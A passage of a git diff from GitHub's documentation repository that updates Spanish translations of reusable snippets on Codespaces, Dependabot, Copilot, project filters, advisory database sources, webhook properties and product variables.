variables.product.prodname_team %} o {% data variables.product.prodname_ghe_cloud %}. + +{% endnote %} + +Si quieres compartir un puerto reenviado con otros, puedes ya sea hacerlo privado para tu organización o hacerlo público. Después de hacer un puerto privado para tu organización, cualquier miembro de esta que tenga la URL de dicho puerto podrá ver la aplicación que se está ejecutando. Después de hacer un puerto público, cualquiera que sepa la URL y el número de puerto podrá ver la aplicación que se está ejecutando sin necesidad de autenticarse. + +{% note %} + +**Nota:** La elección de las opciones de visibilidad del puerto puede estar limitada por una directiva configurada para la organización. Para más información, vea "[Restricción de la visibilidad de los puertos reenviados](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)". + +{% endnote %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/codespaces/review-pr.md b/translations/es-ES/data/reusables/codespaces/review-pr.md deleted file mode 100644 index ed75b667cf..0000000000 --- a/translations/es-ES/data/reusables/codespaces/review-pr.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -ms.openlocfilehash: 4cab959b2e83eaa03edccec07cb3d410e4384465 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145070055" ---- -1. Abra la solicitud de incorporación de cambios en un codespace, como se describe en "[Apertura de una solicitud de incorporación de cambios](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)". -2. En la barra de actividad, haga clic en la vista **GitHub Pull Request**. Esta vista solo se muestra cuando abres una solicitud de cambios en un codespace. - ![Opción para abrir una solicitud de incorporación de cambios en un codespace](/assets/images/help/codespaces/github-pr-view.png) -3. Para revisar un archivo específico, haga clic en el icono **Open File** en la barra lateral. - ![Opción para abrir una solicitud de incorporación de cambios en un codespace](/assets/images/help/codespaces/changes-in-files.png) -4. Para agregar comentarios de revisión, haga clic en el icono **+** situado junto al número de línea. Escriba el comentario de revisión y, después, haga clic en **Start Review**. - ![Opción para abrir una solicitud de incorporación de cambios en un codespace](/assets/images/help/codespaces/start-review.png) -5. Cuando termines de revisar los comentarios, desde la barra lateral, puedes elegir ya sea emitirlos, aprobar los cambios, o solicitar cambios. - ![Opción para abrir una solicitud de incorporación de cambios en un codespace](/assets/images/help/codespaces/submit-review.png) diff --git a/translations/es-ES/data/reusables/codespaces/sidebar-secret.md b/translations/es-ES/data/reusables/codespaces/sidebar-secret.md new file mode 100644 index 0000000000..7130997ae3 --- /dev/null +++ b/translations/es-ES/data/reusables/codespaces/sidebar-secret.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fec39fa3873e316108a9782b2ca80c1e92ff7902 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148009684" +--- +1. En la sección "Seguridad" de la barra lateral, selecciona **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secretos** y haz clic en **{% data variables.product.prodname_codespaces %}** . diff --git a/translations/es-ES/data/reusables/codespaces/use-chrome.md b/translations/es-ES/data/reusables/codespaces/use-chrome.md index 2f4fd8ca75..6f841fb0a5 100644 --- a/translations/es-ES/data/reusables/codespaces/use-chrome.md +++ b/translations/es-ES/data/reusables/codespaces/use-chrome.md @@ -1 +1,2 @@ + For the best experience with {% data variables.product.prodname_github_codespaces %}, we recommend using a Chromium-based browser, like Google Chrome or Microsoft Edge. diff --git a/translations/es-ES/data/reusables/codespaces/vscode-settings-order.md b/translations/es-ES/data/reusables/codespaces/vscode-settings-order.md deleted file mode 100644 index 81d2a637d4..0000000000 --- a/translations/es-ES/data/reusables/codespaces/vscode-settings-order.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -ms.openlocfilehash: 7a39531265a243476952b005a95823391501e16b -ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: "147879362" ---- -Al configurar los valores del editor para {% data variables.product.prodname_vscode_shortname %}, hay tres ámbitos disponibles: _Área de trabajo_, _Remoto [Codespaces]_ y _Usuario_. Si se define un valor en varios ámbitos, el valor _Área de trabajo_ tiene prioridad, después _Remoto [Codespaces]_ y después _Usuario_. diff --git a/translations/es-ES/data/reusables/codespaces/ways-to-create-a-codespace.md b/translations/es-ES/data/reusables/codespaces/ways-to-create-a-codespace.md new file mode 100644 index 0000000000..facf07ca6f --- /dev/null +++ b/translations/es-ES/data/reusables/codespaces/ways-to-create-a-codespace.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e08e6c2bc7cb78f9fbbc7e5324387aa961365d20 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160059" +--- +Puedes crear un codespace en {% data variables.product.prodname_dotcom_the_website %}, en {% data variables.product.prodname_vscode %} o utilizando el {% data variables.product.prodname_cli %}. \ No newline at end of file diff --git a/translations/es-ES/data/reusables/dependabot/enabling-actions-for-ghes.md b/translations/es-ES/data/reusables/dependabot/enabling-actions-for-ghes.md new file mode 100644 index 0000000000..d0373eb396 --- /dev/null +++ b/translations/es-ES/data/reusables/dependabot/enabling-actions-for-ghes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 31aa923005d7561961ad5ba9afc4d6a9859ca264 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106921" +--- +Antes de habilitar {% data variables.product.prodname_dependabot_updates %}, debes configurar {% data variables.location.product_location %} para que use {% data variables.product.prodname_actions %} con ejecutores autohospedados. diff --git a/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md b/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md index 86180c6b2a..aded34fb15 100644 --- a/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md +++ b/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md @@ -1,10 +1,18 @@ +--- +ms.openlocfilehash: 0ba5f7f1ce6d9ebeb260aa7de13ce31dc280de49 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106913" +--- {% ifversion ghes %} {% note %} -**Note:** Your site administrator must set up {% data variables.product.prodname_dependabot_updates %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +**Nota:** Para poder utilizar esta característica, el administrador del sitio debe configurar {% data variables.product.prodname_dependabot_updates %} para {% data variables.location.product_location %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)". -{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_dependabot_updates %} if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %} +{% ifversion security-feature-enablement-policies %} Es posible que no puedas habilitar o deshabilitar {% data variables.product.prodname_dependabot_updates %} si un propietario de empresa ha establecido una directiva en el nivel empresarial. Para obtener más información, consulta "[Aplicación de directivas de seguridad y análisis de código de la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)".{% endif %} {% endnote %} diff --git a/translations/es-ES/data/reusables/dependabot/sidebar-secret.md b/translations/es-ES/data/reusables/dependabot/sidebar-secret.md new file mode 100644 index 0000000000..8882ba3273 --- /dev/null +++ b/translations/es-ES/data/reusables/dependabot/sidebar-secret.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, select **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secrets**, then click **{% data variables.product.prodname_dependabot %}**. +{% else %} +1. In the sidebar, click **{% data variables.product.prodname_dependabot %}**. + ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/enterprise/3.3/dependabot/dependabot-secrets.png) +{% endif %} diff --git a/translations/es-ES/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md b/translations/es-ES/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md deleted file mode 100644 index c856b35628..0000000000 --- a/translations/es-ES/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -ms.openlocfilehash: 791e872f3bdd478ed0e1e085b3cbd85a8c08dc64 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: "145124505" ---- -1. Debajo de "Límite de gastos mensual", desplázate hacia abajo para encontrar "Codespaces" y elige limitar el gasto o permitir el gasto ilimitado. - ![Botones de radio para limitar los gastos o permitir gastos ilimitados](/assets/images/help/billing/limit-or-unlimited-codespaces.png) diff --git a/translations/es-ES/data/reusables/gated-features/codespaces.md b/translations/es-ES/data/reusables/gated-features/codespaces.md deleted file mode 100644 index f61276e972..0000000000 --- a/translations/es-ES/data/reusables/gated-features/codespaces.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -ms.openlocfilehash: 9c6c94903f4fe96035f811db7ce2c113f0e5b98b -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: "147882115" ---- -{% data variables.product.prodname_github_codespaces %} está disponible para las organizaciones que usen {% data variables.product.prodname_team %} o {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.prodname_github_codespaces %} también está disponible como versión beta limitada para usuarios individuales en los planes {% data variables.product.prodname_free_user %} y {% data variables.product.prodname_pro %}. {% data reusables.gated-features.more-info-org-products %} diff --git a/translations/es-ES/data/reusables/gated-features/copilot.md b/translations/es-ES/data/reusables/gated-features/copilot.md index 1ff2a309da..4c8d486ca8 100644 --- a/translations/es-ES/data/reusables/gated-features/copilot.md +++ b/translations/es-ES/data/reusables/gated-features/copilot.md @@ -1,9 +1,3 @@ ---- -ms.openlocfilehash: 8c46f4221d583e2c0ea4f6a56d4e994a28de516c -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "147419845" ---- -{% data variables.product.prodname_copilot %} está disponible para los clientes de {% data variables.product.company_short %} con una cuenta personal en {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_copilot %} es gratis para los alumnos comprobados y los mantenedores de proyectos populares de código abierto. Si no eres alumno ni mantenedor de un proyecto popular de código abierto, puedes probar {% data variables.product.prodname_copilot %} de manera gratuita con una prueba de 60 días. Después de la evaluación gratuita, necesitarás una suscripción de pago para continuar usándolo. Para más información, consulta "[Acerca de la configuración de {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)". +{% data variables.product.prodname_copilot %} is available to {% data variables.product.company_short %} customers with a personal account on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.copilot.emus-cannot-use-copilot %}

+ +{% data variables.product.prodname_copilot %} is free to use for verified students, teachers, and maintainers of popular open source projects. If you are not a student, teacher, or maintainer of a popular open source project, you can try {% data variables.product.prodname_copilot %} for free with a one-time 60 day trial. After the free trial, you will need a paid subscription for continued use. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." diff --git a/translations/es-ES/data/reusables/organizations/restricted-app-access-requests.md b/translations/es-ES/data/reusables/organizations/restricted-app-access-requests.md new file mode 100644 index 0000000000..35f4cedb0f --- /dev/null +++ b/translations/es-ES/data/reusables/organizations/restricted-app-access-requests.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6f6126a0bca965f0299922e2bf614be2713ef80a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106657" +--- +Los propietarios de organizaciones pueden decidir si permitir que los colaboradores externos soliciten acceso a {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %} sin aprobar. Para obtener más información, consulta ["Limitación de solicitudes de acceso a aplicaciones de OAuth y aplicaciones de GitHub](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests)". diff --git a/translations/es-ES/data/reusables/package_registry/packages-classic-pat-only.md b/translations/es-ES/data/reusables/package_registry/packages-classic-pat-only.md new file mode 100644 index 0000000000..4b142ec05f --- /dev/null +++ b/translations/es-ES/data/reusables/package_registry/packages-classic-pat-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8f60e7d7fcb1b652a4a4d7142dd5e1ba62ec4886 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107073" +--- +{% ifversion pat-v2 %} {% note %} + +{% data variables.product.prodname_registry %} solo admite la autenticación mediante un {% data variables.product.pat_v1 %}. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)". + +{% endnote %} {% endif %} diff --git a/translations/es-ES/data/reusables/projects/projects-filters.md b/translations/es-ES/data/reusables/projects/projects-filters.md index 8087c159f4..0fa8f3b743 100644 --- a/translations/es-ES/data/reusables/projects/projects-filters.md +++ b/translations/es-ES/data/reusables/projects/projects-filters.md @@ -1,16 +1,10 @@ ---- -ms.openlocfilehash: 02959a116ad5d087dc8a9d7fb3293e36b9b9cb24 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: "145118626" ---- -- Para filtrar por cualquier coincidencia de varios valores (una consulta OR), separe los valores con una coma. Por ejemplo, `label:"good first issue",bug` mostrará todas las incidencias etiquetadas con `good first issue` o `bug`. -- Para filtrar la ausencia de un valor específico, coloque `-` por delante del filtro. Por ejemplo, `-label:"bug"` solo mostrará los elementos que no tienen la etiqueta `bug`. -- Para filtrar por la ausencia de todos los valores, escriba `no:` seguido del nombre del campo. Por ejemplo, `no:assignee` solo mostrará los elementos que no tienen un usuario asignado. -- Para filtrar por estado, escriba `is:`. Por ejemplo, `is: issue` o `is:open`. -- Separa los filtros múltiples con un espacio. Por ejemplo, `status:"In progress" -label:"bug" no:assignee` solo mostrará los elementos que tienen un estado de `In progress`, no tienen la etiqueta `bug` y no tienen un usuario asignado. -- Para filtrar por la iteración anterior, actual o siguiente de un campo de iteración, use `@previous`, `@current` o `@next`. Por ejemplo, `sprint:@current`. -- Para filtrar por los elementos asignados al visor, use `@me`. Por ejemplo, `assignee:@me`. Cualquiera que use esta vista verá los elementos asignados a ellos mismos. -- Para filtrar los campos de fecha y número, use las consultas de intervalo `>`, `>=`, `<`, `<=` y `..`. Por ejemplo: `target:2022-03-01..2022-03-15`. Para más información, vea "[Descripción de la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". +- To filter for any match of multiple values (an OR query), separate the values with a comma. For example `label:"good first issue",bug` will list all issues labelled `good first issue` or `bug`. +- To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`. +- To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee. +- To filter by state, enter `is:`. For example, `is: issue` or `is:open`. +- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. +- To filter for the previous, current, or next iteration of an iteration field, use `@previous`, `@current`, or `@next`. For example, `iteration:@current`. +- To filter for items assigned to the viewer, use `@me`. For example, `assignee:@me`. Anyone using this view will see items assigned to themselves. +- To filter by when an item was last updated, use `last-updated:` followed by the number of days. This filter only supports `{number}days` (or `1day` for a single day) as a unit. For example, `last-updated:7days` will only show items that were last updated 7 or more days ago. +- To filter date and number fields, use `>`, `>=`, `<`, `<=`, and `..` range queries. For example: `target:2022-03-01..2022-03-15`. For more information, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)." {% ifversion projects-v2-tasklists %} +- To filter for issues tracked by a specified issue, use `tracked-by:"/#"` and replace `` with the repository owner, `` with the repository name, and `` with the issue number. {% endif %} diff --git a/translations/es-ES/data/reusables/repositories/actions-cache-list.md b/translations/es-ES/data/reusables/repositories/actions-cache-list.md new file mode 100644 index 0000000000..6ff81312a7 --- /dev/null +++ b/translations/es-ES/data/reusables/repositories/actions-cache-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57a4650d10e6214e4c46c3965fd76df46d0eb739 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106817" +--- +1. En la barra lateral izquierda, en la sección "Administración", haz clic en {% octicon "cache" aria-label="The Cache icon" %} **Cachés**. diff --git a/translations/es-ES/data/reusables/repositories/tracks-vulnerabilities.md b/translations/es-ES/data/reusables/repositories/tracks-vulnerabilities.md index 51f98c5f5a..b16edca7be 100644 --- a/translations/es-ES/data/reusables/repositories/tracks-vulnerabilities.md +++ b/translations/es-ES/data/reusables/repositories/tracks-vulnerabilities.md @@ -1,13 +1,12 @@ ---- -ms.openlocfilehash: 76df31da97bc29eefed3ce3fd57aa61b8802338c -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "146455289" ---- -Agregamos asesorías a la {% data variables.product.prodname_advisory_database %} desde los siguientes orígenes: -- La [base de datos de vulnerabilidades nacional](https://nvd.nist.gov/) -- Una combinación de aprendizaje automático y revisión humana para detectar vulnerabilidades en confirmaciones públicas en {% data variables.product.prodname_dotcom %} -- Asesorías de seguridad que se reportan en {% data variables.product.prodname_dotcom %} -- La base de datos de [advertencias de seguridad de npm](https://www.npmjs.com/advisories) +We add advisories to the {% data variables.product.prodname_advisory_database %} from the following sources: +- Security advisories reported on {% data variables.product.prodname_dotcom %} +- The [National Vulnerability database](https://nvd.nist.gov/) +- The [npm Security advisories database](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm) +- The [FriendsOfPHP database](https://github.com/FriendsOfPHP/security-advisories) +- The [Go Vulncheck database](https://pkg.go.dev/golang.org/x/vuln/vulncheck) +- The [Python Packaging Advisory database](https://github.com/pypa/advisory-database) +- The [Ruby Advisory database](https://rubysec.com/) +- The [RustSec Advisory database](https://rustsec.org/) +- Community contributions. For more information, see [https://github.com/github/advisory-database/pulls](https://github.com/github/advisory-database/pulls). + +If you know of another database we should be importing advisories from, tell us about it by opening an issue in [https://github.com/github/advisory-database](https://github.com/github/advisory-database). diff --git a/translations/es-ES/data/reusables/sponsors/review-and-publish-tier.md b/translations/es-ES/data/reusables/sponsors/review-and-publish-tier.md index 439779d2c6..18fd04b541 100644 --- a/translations/es-ES/data/reusables/sponsors/review-and-publish-tier.md +++ b/translations/es-ES/data/reusables/sponsors/review-and-publish-tier.md @@ -1,10 +1,10 @@ --- -ms.openlocfilehash: 74ea67adba4201467a7266498e7567385db142fb -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: fe1fc6423171b64c6bf8ef4eadb27f6ddf4e9232 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145137190" +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148009702" --- -1. Revise el nivel y, a continuación, haga clic en **Publicar nivel _TYPE_**. - ![Botón de publicar nivel mensual](/assets/images/help/sponsors/publish-tier-button.png) +1. Revisa el nivel y luego haz clic en **Publicar nivel**. + ![Captura de pantalla de una página de nuevo nivel con el botón Publicar nivel resaltado](/assets/images/help/sponsors/publish-tier-button.png) diff --git a/translations/es-ES/data/reusables/support/prodname_support_forum_with_url.md b/translations/es-ES/data/reusables/support/prodname_support_forum_with_url.md new file mode 100644 index 0000000000..f8615a08db --- /dev/null +++ b/translations/es-ES/data/reusables/support/prodname_support_forum_with_url.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f4c5dd46698e409543d91b193833067e4fc71b9d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107063" +--- +[Discusiones sobre API e integraciones en la comunidad de GitHub](https://github.com/orgs/community/discussions/categories/apis-and-integrations) diff --git a/translations/es-ES/data/reusables/user-settings/classic-projects-api-classic-pat-only.md b/translations/es-ES/data/reusables/user-settings/classic-projects-api-classic-pat-only.md new file mode 100644 index 0000000000..e100c16cea --- /dev/null +++ b/translations/es-ES/data/reusables/user-settings/classic-projects-api-classic-pat-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 79b8d08f58f355db77214565cc850e69cac4154b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106601" +--- +{% ifversion pat-v2 %} {% note %} + +La API de REST para administrar {% data variables.product.prodname_projects_v1 %} admite únicamente la autenticación mediante un {% data variables.product.pat_v1 %}. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)". + +{% endnote %} {% endif %} diff --git a/translations/es-ES/data/reusables/user-settings/imports-api-classic-pat-only.md b/translations/es-ES/data/reusables/user-settings/imports-api-classic-pat-only.md new file mode 100644 index 0000000000..440c12f2b6 --- /dev/null +++ b/translations/es-ES/data/reusables/user-settings/imports-api-classic-pat-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 7c7968ece6425fd5798ac8cbb00f0730d08711e3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106697" +--- +{% ifversion pat-v2 %} {% note %} + +La API de REST de importaciones de orígenes solo admite la autenticación mediante un {% data variables.product.pat_v1 %}. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)". + +{% endnote %} {% endif %} diff --git a/translations/es-ES/data/reusables/user-settings/pat-v2-org-opt-in.md b/translations/es-ES/data/reusables/user-settings/pat-v2-org-opt-in.md new file mode 100644 index 0000000000..bcd65055ff --- /dev/null +++ b/translations/es-ES/data/reusables/user-settings/pat-v2-org-opt-in.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: cdcecb28e2d67d43c34a66c7d98f4e8ac686bc23 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106705" +--- +{% note %} + +**Nota**: {% data reusables.user-settings.pat-v2-beta %} + +Durante la versión beta, las organizaciones deben participar en el uso de {% data variables.product.pat_v2 %}. {% ifversion ghec or ghes or ghae %} Si tu organización es propiedad de una empresa y dicha empresa ha participa en el uso de {% data variables.product.pat_v2 %}, tu organización los participará también de forma predeterminada. {% endif %}Si tu organización aún no participa, se te pedirá que participes y establezcas directivas siguiendo los pasos que se indican a continuación. + +{% endnote %} diff --git a/translations/es-ES/data/reusables/webhooks/pull_request_properties.md b/translations/es-ES/data/reusables/webhooks/pull_request_properties.md index df7710260f..52c2c0a97a 100644 --- a/translations/es-ES/data/reusables/webhooks/pull_request_properties.md +++ b/translations/es-ES/data/reusables/webhooks/pull_request_properties.md @@ -1,6 +1,13 @@ -`number`|`integer` | The pull request number. -`changes`|`object`| The changes to the comment if the action was `edited`. -`changes[title][from]`|`string` | The previous version of the title if the action was `edited`. -`changes[body][from]`|`string` | The previous version of the body if the action was `edited`. -`pull_request`|`object` | The [pull request](/rest/reference/pulls) itself.{% ifversion fpt or ghec %} -`reason`|`string` | The reason the pull request was removed from a merge queue if the action was `dequeued`.{% endif %} +--- +ms.openlocfilehash: 33034d7d2f00ba494e16629a57ab07ec9d34810b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148009698" +--- +`number`|`integer` | Número de la solicitud de incorporación de cambios. +`changes`|`object` | Cambios en el comentario si la acción ha sido `edited`. +`changes[title][from]`|`string` | Versión previa del título si la acción ha sido `edited`. +`changes[body][from]`|`string` | Versión previa del cuerpo si la acción ha sido `edited`. +`pull_request`|`object` | La [solicitud de incorporación de cambios](/rest/reference/pulls) en sí.{% ifversion fpt or ghec %} `reason`|`string` | Motivo por el que la solicitud de incorporación de cambios se quitaba de una cola de combinación si la acción era `dequeued`.{% endif %} diff --git a/translations/es-ES/data/reusables/webhooks/pull_request_webhook_properties.md b/translations/es-ES/data/reusables/webhooks/pull_request_webhook_properties.md index 933b82d81a..7a9d37f368 100644 --- a/translations/es-ES/data/reusables/webhooks/pull_request_webhook_properties.md +++ b/translations/es-ES/data/reusables/webhooks/pull_request_webhook_properties.md @@ -1,3 +1,11 @@ -Key | Type | Description +--- +ms.openlocfilehash: 154c75025c0c83ff96a9da096d824a6d8541a3b3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148009697" +--- +Clave | Tipo | Descripción ----|------|------------- -`action`|`string` | The action that was performed. Can be one of:
  • `assigned`
  • `auto_merge_disabled`
  • `auto_merge_enabled`
  • `closed`: If the action is `closed` and the `merged` key is `false`, the pull request was closed with unmerged commits. If the action is `closed` and the `merged` key is `true`, the pull request was merged.
  • `converted_to_draft`
  • {% ifversion fpt or ghec %}
  • `dequeued`: Triggered when a pull request is removed from a merge queue
  • {% endif %}
  • `edited`
  • {% ifversion fpt or ghec %}
  • `enqueued`: Triggered when a pull request is added to a merge queue
  • {% endif %}
  • `labeled`
  • `locked`
  • `opened`
  • `ready_for_review`
  • `reopened`
  • `review_request_removed`
  • `review_requested`
  • `synchronize`: Triggered when a pull request's head branch is updated. For example, when the head branch is updated from the base branch, when new commits are pushed to the head branch, or when the base branch is changed.
  • `unassigned`
  • `unlabeled`
  • `unlocked`
+`action`|`string` | La acción que se ha realizado. Puede ser una de las siguientes:
  • `assigned`
  • `auto_merge_disabled`
  • `auto_merge_enabled`
  • `closed`: si la acción es `closed` y la clave `merged` es `false`, la solicitud de incorporación de cambios se ha cerrado con confirmaciones no combinadas. Si la acción es `closed` y la clave `merged` es `true`, la solicitud de incorporación de cambios se ha combinado.
  • `converted_to_draft`
  • {% ifversion fpt or ghec %}
  • `dequeued`: se activa cuando una solicitud de incorporación de cambios se quita de una cola de combinación.
  • {% endif %}
  • `edited`
  • {% ifversion fpt or ghec %}
  • `enqueued`: se activa cuando una solicitud de incorporación de cambios se agrega a una cola de combinación.
  • {% endif %}
  • `labeled`
  • `locked`
  • `opened`
  • `ready_for_review`
  • `reopened`
  • `review_request_removed`
  • `review_requested`
  • `synchronize`: se desencadena cuando se actualiza la rama principal de una solicitud de incorporación de cambios. Por ejemplo, cuando se actualiza la rama de encabezado desde la rama base, cuando las confirmaciones nuevas se suben a la rama de encabezado o cuando se cambia la rama de encabezado.
  • `unassigned`
  • `unlabeled`
  • `unlocked`
diff --git a/translations/es-ES/data/variables/product.yml b/translations/es-ES/data/variables/product.yml index 6c890174f3..4abb49b464 100644 --- a/translations/es-ES/data/variables/product.yml +++ b/translations/es-ES/data/variables/product.yml @@ -176,12 +176,15 @@ support_ticket_priority_low: 'Low' prodname_professional_services: 'GitHub Professional Services' prodname_professional_services_team: 'Professional Services' -# Security features / code scanning platform / Security Lab +# GitHub Security Lab prodname_security: 'GitHub Security Lab' prodname_security_link: 'https://securitylab.github.com/' -prodname_security_advisories: 'GitHub Security Advisories' -# Security features and code scanning platform +# GitHub Security Advisories +prodname_security_advisories: 'GitHub Security Advisories' +prodname_advisory_database: 'GitHub Advisory Database' + +# Secret scanning prodname_secret_scanning: 'secret scanning' # Overall feature name and name for GHES and GHAE prodname_secret_scanning_caps: 'Secret scanning' prodname_secret_scanning_partner: 'secret scanning for partner patterns' # GitHub.com feature for public repos only @@ -192,12 +195,9 @@ prodname_secret_scanning_GHAS: prodname_secret_scanning_GHAS_caps: >- {% ifversion fpt or ghec %}Secret scanning for advanced security{% else %}Secret scanning{% endif %} +# Code scanning prodname_code_scanning: 'code scanning' prodname_code_scanning_capc: 'Code scanning' -prodname_codeql_runner: 'CodeQL runner' -prodname_advisory_database: 'GitHub Advisory Database' -prodname_codeql_workflow: 'CodeQL analysis workflow' -prodname_dependency_review_action: 